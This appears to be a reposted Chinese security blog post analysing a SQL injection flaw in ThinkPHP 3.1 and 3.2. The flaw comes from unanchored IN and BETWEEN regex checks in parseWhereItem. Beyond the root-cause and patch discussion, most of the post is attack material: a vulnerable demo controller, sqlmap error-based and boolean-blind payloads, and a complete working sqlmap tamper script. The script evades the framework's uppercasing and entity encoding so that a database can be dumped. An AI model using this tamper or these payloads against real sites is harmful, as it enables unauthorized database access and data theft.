ThinkPHP 3.1、3.2一个通用的漏洞分析
2023-03-29 23:03:03
631
{{single.collect_count}}

Author:m3d1t10n

前两天看到phithon大大在乌云发的关于ThinkPHP的漏洞,想看看是什么原因造成的。可惜还没有公开,于是就自己回来分析了一下。

0x00官方补丁(DB.class.php parseWhereItem($key,$val))

注意红色框框起来的部分

bc8e4f4d840275e3cb45b69ccc6fbaea.png

0x01分析preg_match('/IN/i',$val[0]) //该正则没有起始符和终止符,xxxxinxxxxx等任意包含in的字符串都可以匹配成功,因而构成了注入

preg_match('/BETWEEN/i',$val[0]) //同上

0x02验证class IndexAction extends Action {

public function index(){

$user = I("param.user");

$pass = I("param.pass");

$where["user"] = $user;

$where["pass"] = $pass;

var_dump($where);

$model = M("user");

$data = $model->where($where)->select();

echo $model->getLastSql(); // 打印sql语句

echo "
";

var_dump($data); // 打印数据

die(mysql_error()); // 打印错误

1.1正常访问

e7c0bd3b85cc6764a59909cff485180e.png

1.2poc

e033b636804f754676f87fefe13c843d.png

0x03编写支持此注入的tamper (支持mysql)

3.1由于php中有这样一段话,会将我们插入的语句全变成大写,所以我们要将payloa做一个转换$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';

3.2sqlmap mysql error based 注入语句AND (SELECT 8080 FROM(SELECT COUNT(*),CONCAT(0x3a7a61623a,(SELECT (CASE WHEN (QUARTER(NULL) IS NULL) THEN 1 ELSE 0 END)),0x3a6c697a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

/**其中的0x3a7a61623a等十六进制字符会因为x变成大写而报错,所以我们需要将他们匹配出来变成小写的 **/

3.3sqlmap myql boolean blind 注入语句AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51

payload = "ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))"

num = 51

/**

因为>会被thinkphp进行实体编码,所以我们需要将整条语句换成

floor(payload / num.5)

例如:

52>51==1 为真

floor(52/51.5)==1 为真

51>51==0 为假

floor(51/51.5)==0 为假 **/

3.4最后的tamper代码#__author__ = 'm3d1t10n'

import re

import binascii

#f = open("out.dat","w")

def tamper(payload, **kwargs):

d = {"ror":"rand","and":"or"}

#f.write(payload+"\n")

t = re.findall('(0x\w+)',payload.lower())

for expression in t:

d[expression] = "lower('%s')" % binascii.unhexlify(expression[2:])

for key in d:

payload = payload.lower().replace(key,d[key])

prefix = "in%20(%27xxx%27))%20"

subfix = "%20--%20"

payload

payload = prefix + payload + subfix

t = re.findall('or (.+)>(\d+)',payload.lower())

#print payload

if t:

payload = payload.replace(t[0][0]+'>'+t[0][1],"ceil(floor(%s/%s.5))"%(t[0][0],t[0][1]))

#print payload

#f.write(payload+"\n")

return payload

0x04sqlmap 本地测试

4.1boolean based

08433324a23a333a9b776db8a07b8700.png

2430e58326eeb2c2da30fff4e35fefb0.png

622120d5873f67271be50f7b85508888.png

回帖
全部回帖({{commentCount}})
{{item.user.nickname}} {{item.user.group_title}} {{item.friend_time}}
{{item.content}}
{{item.comment_content_show ? '取消' : '回复'}} 删除
回帖
{{reply.user.nickname}} {{reply.user.group_title}} {{reply.friend_time}}
{{reply.content}}
{{reply.comment_content_show ? '取消' : '回复'}} 删除
回帖
收起
没有更多啦~
{{commentLoading ? '加载中...' : '查看更多评论'}}